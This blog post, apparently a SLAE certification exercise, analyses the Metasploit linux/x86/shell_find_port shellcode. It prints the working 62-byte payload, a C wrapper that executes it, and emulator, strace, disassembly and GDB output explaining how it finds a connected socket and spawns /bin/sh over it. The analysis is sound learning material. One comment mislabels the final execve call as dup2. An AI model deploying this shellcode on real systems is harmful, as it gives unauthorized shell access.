This post analyses innards of linux/x86/shell_find_port shellcode. This shellcode spawns a shell on an established connection.
Initial shellcode overview and testing
Inspect payload options and generate shellcode for analysis
$ msfvenom -p linux/x86/shell_find_port --list-options
Options for payload/linux/x86/shell_find_port:
=========================
Name: Linux Command Shell, Find Port Inline
Module: payload/linux/x86/shell_find_port
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 62
Rank: Normal
Provided by:
Ramon de C Valle <rcvalle@metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CPORT 40746 no The local client port
Description:
Spawn a shell on an established connection
linux/x86/shell_find_port payload has one option. We will keep CPORT set to default value 40746
$ msfvenom -p linux/x86/shell_find_port -f c
Payload size: 62 bytes
Final size of c file: 287 bytes
unsigned char buf[] =
"\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff"
"\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x48\x35\x75\xf1\x5b"
"\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80";
Insert generated shellcode into testing C wrapper
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
// msfvenom -p linux/x86/shell_find_port -f c
"\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff"
"\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x48\x35\x75\xf1\x5b"
"\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*CodeFun)() = (int(*)())code;
CodeFun();
}
Shellcode analysis
Using libemu sctest gives infinite loop
sys_getpeername(2)
[emu 0x0x955b078 debug ] cpu state eip=0x00417015
[emu 0x0x955b078 debug ] eax=0x00000066 ecx=0x00416fba edx=0x00000000 ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000000 edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF PF
[emu 0x0x955b078 debug ] 66817F029F54 cmp word [edi+0x2],0x549f
[emu 0x0x955b078 debug ] cpu state eip=0x0041701b
[emu 0x0x955b078 debug ] eax=0x00000066 ecx=0x00416fba edx=0x00000000 ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000000 edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF SF
[emu 0x0x955b078 debug ] 75 jnz 0x1
[emu 0x0x955b078 debug ] cpu state eip=0x0041700e
[emu 0x0x955b078 debug ] eax=0x00000066 ecx=0x00416fba edx=0x00000000 ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000000 edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF SF
[emu 0x0x955b078 debug ] FF01 inc [ecx]
[emu 0x0x955b078 debug ] cpu state eip=0x00417010
[emu 0x0x955b078 debug ] eax=0x00000066 ecx=0x00416fba edx=0x00000000 ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000000 edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF PF
[emu 0x0x955b078 debug ] 6A66 push byte 0x66
[emu 0x0x955b078 debug ] cpu state eip=0x00417012
[emu 0x0x955b078 debug ] eax=0x00000066 ecx=0x00416fba edx=0x00000000 ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fb6 ebp=0x00000000 esi=0x00000000 edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF PF
[emu 0x0x955b078 debug ] 58 pop eax
[emu 0x0x955b078 debug ] cpu state eip=0x00417013
[emu 0x0x955b078 debug ] eax=0x00000066 ecx=0x00416fba edx=0x00000000 ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000000 edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF PF
[emu 0x0x955b078 debug ] CD80
strace output gives same loop but in little bit more readable form
...
write(1, "Shellcode Length: 62\n", 22Shellcode Length: 62
) = 22
getpeername(1, 0xbfd801e8, [16]) = -1 ENOTSOCK (Socket operation on non-socket)
getpeername(2, 0xbfd801e8, [16]) = -1 ENOTSOCK (Socket operation on non-socket)
getpeername(3, 0xbfd801e8, [16]) = -1 EBADF (Bad file descriptor)
getpeername(4, 0xbfd801e8, [16]) = -1 EBADF (Bad file descriptor)
getpeername(5, 0xbfd801e8, [16]) = -1 EBADF (Bad file descriptor)
getpeername(6, 0xbfd801e8, [16]) = -1 EBADF (Bad file descriptor)
getpeername(7, 0xbfd801e8, [16]) = -1 EBADF (Bad file descriptor)
getpeername(8, 0xbfd801e8, [16]) = -1 EBADF (Bad file descriptor)
getpeername(9, 0xbfd801e8, [16]) = -1 EBADF (Bad file descriptor)
getpeername(10, 0xbfd801e8, [16]) = -1 EBADF (Bad file descriptor)
...
It seems that shellcode gets stucked in infinite getpeername() call loop. Let’s have a closer look at shellcode assembly.
$ echo -ne "\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x48\x35\x75\xf1\x5b\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" | ndisasm -u -
00000000 31DB xor ebx,ebx
00000002 53 push ebx
00000003 89E7 mov edi,esp
00000005 6A10 push byte +0x10
00000007 54 push esp
00000008 57 push edi
00000009 53 push ebx
0000000A 89E1 mov ecx,esp
0000000C B307 mov bl,0x7
0000000E FF01 inc dword [ecx]
00000010 6A66 push byte +0x66
00000012 58 pop eax
00000013 CD80 int 0x80
00000015 66817F024835 cmp word [edi+0x2],0x3548
0000001B 75F1 jnz 0xe
0000001D 5B pop ebx
0000001E 6A02 push byte +0x2
00000020 59 pop ecx
00000021 B03F mov al,0x3f
00000023 CD80 int 0x80
00000025 49 dec ecx
00000026 79F9 jns 0x21
00000028 50 push eax
00000029 682F2F7368 push dword 0x68732f2f
0000002E 682F62696E push dword 0x6e69622f
00000033 89E3 mov ebx,esp
00000035 50 push eax
00000036 53 push ebx
00000037 89E1 mov ecx,esp
00000039 99 cdq
0000003A B00B mov al,0xb
0000003C CD80 int 0x80
Assembly part 1 – System call 0x66
00000000 31DB xor ebx,ebx ; zeroing ebx
00000002 53 push ebx ; stack content(hex): 00
00000003 89E7 mov edi,esp ; edi points to stack, to 00
00000005 6A10 push byte +0x10 ; stack content(hex): 10 00
00000007 54 push esp ; stack content(hex): a4 f2 ff bf 10 00
00000008 57 push edi ; stack content(hex): a8 f2 ff bf a4 f2 ff bf 10 00
00000009 53 push ebx ; stack content(hex): 00 00 00 00 a8 f2 ff bf a4 f2 ff bf 10 00
0000000A 89E1 mov ecx,esp ; ecx points to top of the stack
0000000C B307 mov bl,0x7 ; ebx=0x7
0000000E FF01 inc dword [ecx] ; stack content(hex): 01 00 00 00 a8 f2 ff bf a4 f2 ff bf 10 00
00000010 6A66 push byte +0x66 ; set eax to 0x66 (102), syscall socketcall()
00000012 58 pop eax ; set eax to 0x66 (102), syscall socketcall()
00000013 CD80 int 0x80 ; invoke system call socketcall()
00000015 66817F024835 cmp word [edi+0x2],0x3548 ; compares sockaddr_in.sin_port with CPORT specified in msfvenom
0000001B 75F1 jnz 0xe ; if sockaddr_in.sin_port!=CPORT then try next fd ...
Comments in stub above are based upon shellcode execution in GDB. socketcall() execution is somewhat more complicated to decipher and it will be easier to dig out argument values directly from memory of GDB run.
So all instructions up to offset 00000013 prepares arguments for system call 0x66 (102) socketcall(). From man-pages we get following signature
int socketcall(int call, unsigned long *args);
and description
socketcall() is a common kernel entry point for the socket system calls.
call determines which socket function to invoke.
args points to a block containing the actual arguments, which are passed through to the appropriate call.
EBX is set to 0x7 and passed as call parameter. call argument values are defined in net.h header file for the Linux NET layer. From there we get
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
thus getpeername() socket call is invoked. args argument of socketcall() is passed directly to getpeername() so let’s inspect getpeername() itself. From man-pages we get signature
int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
and description
getpeername() returns the address of the peer connected to the socket sockfd, in the buffer pointed to by addr.
The addrlen argument should be initialized to indicate the amount of space pointed to by addr.
On return it contains the actual size of the name returned (in bytes).
socketcall() args argument is just pointer to structure containing all getpeername() arguments. So ECX points to such structure. Now we need to check assembly stub and particularly following line
0000000E FF01 inc dword [ecx] ; stack content(hex): 01 00 00 00 a8 f2 ff bf a4 f2 ff bf 10 00
After executing instruction on offset 0000000E the stack will look as follows
(remember that ECX points to same location as ESP)
(gdb) x/20bx $ecx
0xbffff298: 0x01 0x00 0x00 0x00 0xa8 0xf2 0xff 0xbf
0xbffff2a0: 0xa4 0xf2 0xff 0xbf 0x10 0x00 0x00 0x00
(gdb) x/5wx $ecx
0xbffff298: 0x00000001 0xbffff2a8 0xbffff2a4 0x00000010
0xbffff2a8: 0x00000000
In bold are bytes which were pushed into stack by shellcode.
First getpeername() argument is sockfd=0x1.
Because 0xbffff2a8 points to
(gdb) x/d 0xbffff2a8
0xbffff2a8: 0
we have *addr=NULL. Similarly
(gdb) x/d 0xbffff2a4
0xbffff2a4: 16
so *addrlen=16 hence final getpeername() call is
getpeername(1, NULL, 16)
If current file descriptor contains valid sockaddr_in structure then it’s saved into *addr buffer and sockaddr_in.sin_port structure member is compared with CPORT setting used in msfvenom command. If we get error or invalid sin_port, sockfd in getpeername() is increased until match (possibly forever).
Assembly part 2 – System call 0x3f
0000001D 5B pop ebx ; ebx=number of valid file descriptor
0000001E 6A02 push byte +0x2 ; ecx=2
00000020 59 pop ecx ; ecx=2
00000021 B03F mov al,0x3f ; set eax to 0x3f (63), syscall dup2()
00000023 CD80 int 0x80 ; invoke system call dup2()
00000025 49 dec ecx ; proceed to next descriptor
00000026 79F9 jns 0x21 ; repeat from 00000021 if ecx >= 0, (SF = 0)
Purpose of this code is to duplicate (redirect) file descriptors.
System call 0x3f (63) is dup2(). Signature for dup2() call is
int dup2(int oldfd, int newfd);
EBX contains matched file descriptor from previous Assembly part 1. ECX is initialized with 0x2 and decreased to 0x0 in loop. Following calls are made
dup2(fd of matched socket/port, STDERR fd (2))
dup2(fd of matched socket/port, STDOUT fd (1))
dup2(fd of matched socket/port, STDIN fd (0))
So any data going in/out matched socket are redirected to/from STDIN, STDOUT, STDERR.
Assembly part 3 – System call 0xb
00000028 50 push eax ; push 0x00
00000029 682F2F7368 push dword 0x68732f2f ; push "hs//"
0000002E 682F62696E push dword 0x6e69622f ; push "nib/"
00000033 89E3 mov ebx,esp ; ebx points to "/bin/sh"
00000035 50 push eax ; push 0x00
00000036 53 push ebx ; push address of "/bin/sh"
00000037 89E1 mov ecx,esp ; ecx points to *"/bin/sh" 0x00 "/bin/sh" 0x00
00000039 99 cdq ; zeroing edx
0000003A B00B mov al,0xb ; set eax to 0xb (11), syscall execve()
0000003C CD80 int 0x80 ; invoke system call dup2()
This standard stub executes /bin/sh in current process.
System call 0xb (11) is execve(). Signature for execve() call is
int execve(const char *filename, char *const argv[], char *const envp[]);
EBX is pointer to “/bin/sh0x00”. ECX points to following data located in the stack
[address of "/bin/sh"]0x00/bin/sh0x00
EDX is zeroed by cdq instruction no environment variables are passed to execve() call.
Final assembly analysis overview
00000000 31DB xor ebx,ebx ; zeroing ebx
00000002 53 push ebx ; stack content(hex): 00
00000003 89E7 mov edi,esp ; edi points to stack, to 00
00000005 6A10 push byte +0x10 ; stack content(hex): 10 00
00000007 54 push esp ; stack content(hex): a4 f2 ff bf 10 00
00000008 57 push edi ; stack content(hex): a8 f2 ff bf a4 f2 ff bf 10 00
00000009 53 push ebx ; stack content(hex): 00 00 00 00 a8 f2 ff bf a4 f2 ff bf 10 00
0000000A 89E1 mov ecx,esp ; ecx points to top of the stack
0000000C B307 mov bl,0x7 ; ebx=0x7
0000000E FF01 inc dword [ecx] ; stack content(hex): 01 00 00 00 a8 f2 ff bf a4 f2 ff bf 10 00 getpeername(sockfd, *addr, *addrlen)
00000010 6A66 push byte +0x66 ; set eax to 0x66 (102), syscall socketcall()
00000012 58 pop eax ; set eax to 0x66 (102), syscall socketcall()
00000013 CD80 int 0x80 ; invoke system call socketcall()
00000015 66817F024835 cmp word [edi+0x2],0x3548 ; compares sockaddr_in.sin_port with CPORT specified in msfvenom
0000001B 75F1 jnz 0xe ; if sockaddr_in.sin_port!=CPORT then try next fd ...
0000001D 5B pop ebx ; ebx=number of valid file descriptor
0000001E 6A02 push byte +0x2 ; ecx=2
00000020 59 pop ecx ; ecx=2
00000021 B03F mov al,0x3f ; set eax to 0x3f (63), syscall dup2()
00000023 CD80 int 0x80 ; invoke system call dup2()
00000025 49 dec ecx ; proceed to next descriptor
00000026 79F9 jns 0x21 ; repeat from 00000021 if ecx >= 0, (SF = 0)
00000028 50 push eax ; push 0x00
00000029 682F2F7368 push dword 0x68732f2f ; push "hs//"
0000002E 682F62696E push dword 0x6e69622f ; push "nib/"
00000033 89E3 mov ebx,esp ; ebx points to "/bin/sh"
00000035 50 push eax ; push 0x00
00000036 53 push ebx ; push address of "/bin/sh"
00000037 89E1 mov ecx,esp ; ecx points to *"/bin/sh"0x00"/bin/sh"0x00
00000039 99 cdq ; zeroing edx
0000003A B00B mov al,0xb ; set eax to 0xb (11), syscall execve()
0000003C CD80 int 0x80 ; invoke system call dup2()
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: SLAE-1443